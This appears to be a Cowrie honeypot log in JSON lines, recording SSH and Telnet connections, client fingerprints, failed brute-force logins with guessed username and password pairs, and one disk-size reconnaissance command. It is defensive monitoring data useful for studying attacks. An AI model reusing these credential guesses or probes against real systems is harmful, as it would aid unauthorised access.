{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:15.442448Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:15.446288Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:15.639210Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.1","message":"Connection lost after 17.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:15.645084Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.160.153","src_port":34746,"dst_ip":"159.203.135.109","dst_port":22,"session":"33911b1d6661","protocol":"ssh","message":"New connection: 4.213.160.153:34746 (159.203.135.109:22) [session: 33911b1d6661]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:20.609308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:20.620092Z","src_ip":"4.213.160.153","session":"33911b1d6661","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.4140100479126,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:20.682863Z","src_ip":"209.205.218.26","session":"ac3ea49d6061","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:20.851320Z","src_ip":"4.213.160.153","session":"33911b1d6661","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testman","message":"login attempt [root/testman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:21.586917Z","src_ip":"4.213.160.153","session":"33911b1d6661","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:22.774332Z","src_ip":"4.213.160.153","session":"33911b1d6661","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.668018102645874,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:24.119027Z","src_ip":"209.205.218.26","session":"c06c8fe79541","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":44879,"dst_ip":"10.17.0.5","dst_port":23,"session":"3568be828b4d","protocol":"telnet","message":"New connection: 209.205.218.26:44879 (10.17.0.5:23) [session: 3568be828b4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:24.687377Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":44997,"dst_ip":"10.17.0.5","dst_port":23,"session":"753a161c33ac","protocol":"telnet","message":"New connection: 209.205.218.26:44997 (10.17.0.5:23) [session: 753a161c33ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:25.795338Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":47771,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba84837e0bc8","protocol":"telnet","message":"New connection: 209.205.218.26:47771 (10.17.0.5:23) [session: ba84837e0bc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:48.117209Z"}
{"eventid":"cowrie.session.closed","duration":36.280214071273804,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:00.967485Z","src_ip":"209.205.218.26","session":"3568be828b4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.94013047218323,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:02.735344Z","src_ip":"209.205.218.26","session":"753a161c33ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":49791,"dst_ip":"10.17.0.5","dst_port":23,"session":"693b06388507","protocol":"telnet","message":"New connection: 209.205.218.26:49791 (10.17.0.5:23) [session: 693b06388507]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:03.912021Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":49957,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8feb06aac5a","protocol":"telnet","message":"New connection: 209.205.218.26:49957 (10.17.0.5:23) [session: e8feb06aac5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:05.483842Z"}
{"eventid":"cowrie.session.connect","src_ip":"36.93.249.106","src_port":58218,"dst_ip":"159.203.135.109","dst_port":22,"session":"7475ca55e683","protocol":"ssh","message":"New connection: 36.93.249.106:58218 (159.203.135.109:22) [session: 7475ca55e683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:07.353662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:07.451376Z","src_ip":"36.93.249.106","session":"7475ca55e683","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:07.717673Z","src_ip":"36.93.249.106","session":"7475ca55e683","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asdlkj12","message":"login attempt [ubuntu/asdlkj12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:08.910340Z","src_ip":"36.93.249.106","session":"7475ca55e683","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:10.187790Z","src_ip":"36.93.249.106","session":"7475ca55e683","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":50454,"dst_ip":"10.17.0.5","dst_port":23,"session":"d97fa486bb5d","protocol":"telnet","message":"New connection: 209.205.218.26:50454 (10.17.0.5:23) [session: d97fa486bb5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:10.372943Z"}
{"eventid":"cowrie.session.closed","duration":25.1066837310791,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:13.223762Z","src_ip":"209.205.218.26","session":"ba84837e0bc8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":51051,"dst_ip":"10.17.0.5","dst_port":23,"session":"498b87921f56","protocol":"telnet","message":"New connection: 209.205.218.26:51051 (10.17.0.5:23) [session: 498b87921f56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:14.874249Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":51431,"dst_ip":"10.17.0.5","dst_port":23,"session":"d739ebc518a9","protocol":"telnet","message":"New connection: 209.205.218.26:51431 (10.17.0.5:23) [session: d739ebc518a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:17.148631Z"}
{"eventid":"cowrie.session.connect","src_ip":"211.186.79.173","src_port":50240,"dst_ip":"10.17.0.5","dst_port":22,"session":"3288951b03db","protocol":"ssh","message":"New connection: 211.186.79.173:50240 (10.17.0.5:22) [session: 3288951b03db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:17.531730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:17.537458Z","src_ip":"211.186.79.173","session":"3288951b03db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:17.718291Z","src_ip":"211.186.79.173","session":"3288951b03db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin.12345","message":"login attempt [root/admin.12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:18.481565Z","src_ip":"211.186.79.173","session":"3288951b03db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:19.665332Z","src_ip":"211.186.79.173","session":"3288951b03db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":51762,"dst_ip":"10.17.0.5","dst_port":23,"session":"e503c803925a","protocol":"telnet","message":"New connection: 209.205.218.26:51762 (10.17.0.5:23) [session: e503c803925a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:20.253764Z"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.160.153","src_port":47206,"dst_ip":"159.203.135.109","dst_port":22,"session":"63ba9e50eb79","protocol":"ssh","message":"New connection: 4.213.160.153:47206 (159.203.135.109:22) [session: 63ba9e50eb79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:20.298093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:20.304544Z","src_ip":"4.213.160.153","session":"63ba9e50eb79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:20.509990Z","src_ip":"4.213.160.153","session":"63ba9e50eb79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"root321","message":"login attempt [ubuntu/root321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:21.283685Z","src_ip":"4.213.160.153","session":"63ba9e50eb79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":51949,"dst_ip":"10.17.0.5","dst_port":23,"session":"fde0c308965e","protocol":"telnet","message":"New connection: 209.205.218.26:51949 (10.17.0.5:23) [session: fde0c308965e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:22.444895Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:22.474232Z","src_ip":"4.213.160.153","session":"63ba9e50eb79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":53063,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d7daeed81dd","protocol":"telnet","message":"New connection: 209.205.218.26:53063 (10.17.0.5:23) [session: 4d7daeed81dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:30.953270Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":53117,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f1c911e6da0","protocol":"telnet","message":"New connection: 209.205.218.26:53117 (10.17.0.5:23) [session: 2f1c911e6da0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:31.499403Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":53158,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf1aae247cba","protocol":"telnet","message":"New connection: 209.205.218.26:53158 (10.17.0.5:23) [session: cf1aae247cba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:31.925444Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":53233,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f363d4641cc","protocol":"telnet","message":"New connection: 209.205.218.26:53233 (10.17.0.5:23) [session: 8f363d4641cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:32.758152Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":53356,"dst_ip":"10.17.0.5","dst_port":23,"session":"abfe5730d0a9","protocol":"telnet","message":"New connection: 209.205.218.26:53356 (10.17.0.5:23) [session: abfe5730d0a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:34.479699Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":53489,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e0468a2bcb2","protocol":"telnet","message":"New connection: 209.205.218.26:53489 (10.17.0.5:23) [session: 8e0468a2bcb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:35.637553Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":53868,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccbbc6bfc954","protocol":"telnet","message":"New connection: 209.205.218.26:53868 (10.17.0.5:23) [session: ccbbc6bfc954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:39.429379Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":53913,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbfaeb5461b3","protocol":"telnet","message":"New connection: 209.205.218.26:53913 (10.17.0.5:23) [session: fbfaeb5461b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:39.730118Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":53963,"dst_ip":"10.17.0.5","dst_port":23,"session":"c99aa34d27a5","protocol":"telnet","message":"New connection: 209.205.218.26:53963 (10.17.0.5:23) [session: c99aa34d27a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:39.907711Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":54031,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a6b11a98cc7","protocol":"telnet","message":"New connection: 209.205.218.26:54031 (10.17.0.5:23) [session: 8a6b11a98cc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:40.498811Z"}
{"eventid":"cowrie.session.closed","duration":36.59589505195618,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:40.507764Z","src_ip":"209.205.218.26","session":"693b06388507","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":54059,"dst_ip":"10.17.0.5","dst_port":23,"session":"d26b08a73b92","protocol":"telnet","message":"New connection: 209.205.218.26:54059 (10.17.0.5:23) [session: d26b08a73b92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:40.656561Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":54177,"dst_ip":"10.17.0.5","dst_port":23,"session":"56479ec76b86","protocol":"telnet","message":"New connection: 209.205.218.26:54177 (10.17.0.5:23) [session: 56479ec76b86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:41.877204Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":54185,"dst_ip":"10.17.0.5","dst_port":23,"session":"591a38b0febf","protocol":"telnet","message":"New connection: 209.205.218.26:54185 (10.17.0.5:23) [session: 591a38b0febf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:41.938926Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":54284,"dst_ip":"10.17.0.5","dst_port":23,"session":"676bbccb699d","protocol":"telnet","message":"New connection: 209.205.218.26:54284 (10.17.0.5:23) [session: 676bbccb699d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:42.742222Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":54448,"dst_ip":"10.17.0.5","dst_port":23,"session":"680fab17f0ea","protocol":"telnet","message":"New connection: 209.205.218.26:54448 (10.17.0.5:23) [session: 680fab17f0ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:43.779650Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":54517,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec24a7b23586","protocol":"telnet","message":"New connection: 209.205.218.26:54517 (10.17.0.5:23) [session: ec24a7b23586]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:44.299877Z"}
{"eventid":"cowrie.session.closed","duration":36.352492332458496,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:46.725305Z","src_ip":"209.205.218.26","session":"d97fa486bb5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":55216,"dst_ip":"10.17.0.5","dst_port":23,"session":"474dc61494c6","protocol":"telnet","message":"New connection: 209.205.218.26:55216 (10.17.0.5:23) [session: 474dc61494c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:51.257874Z"}
{"eventid":"cowrie.session.closed","duration":36.79525589942932,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:51.669398Z","src_ip":"209.205.218.26","session":"498b87921f56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.90708136558533,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:54.055434Z","src_ip":"209.205.218.26","session":"d739ebc518a9","protocol":"telnet"}
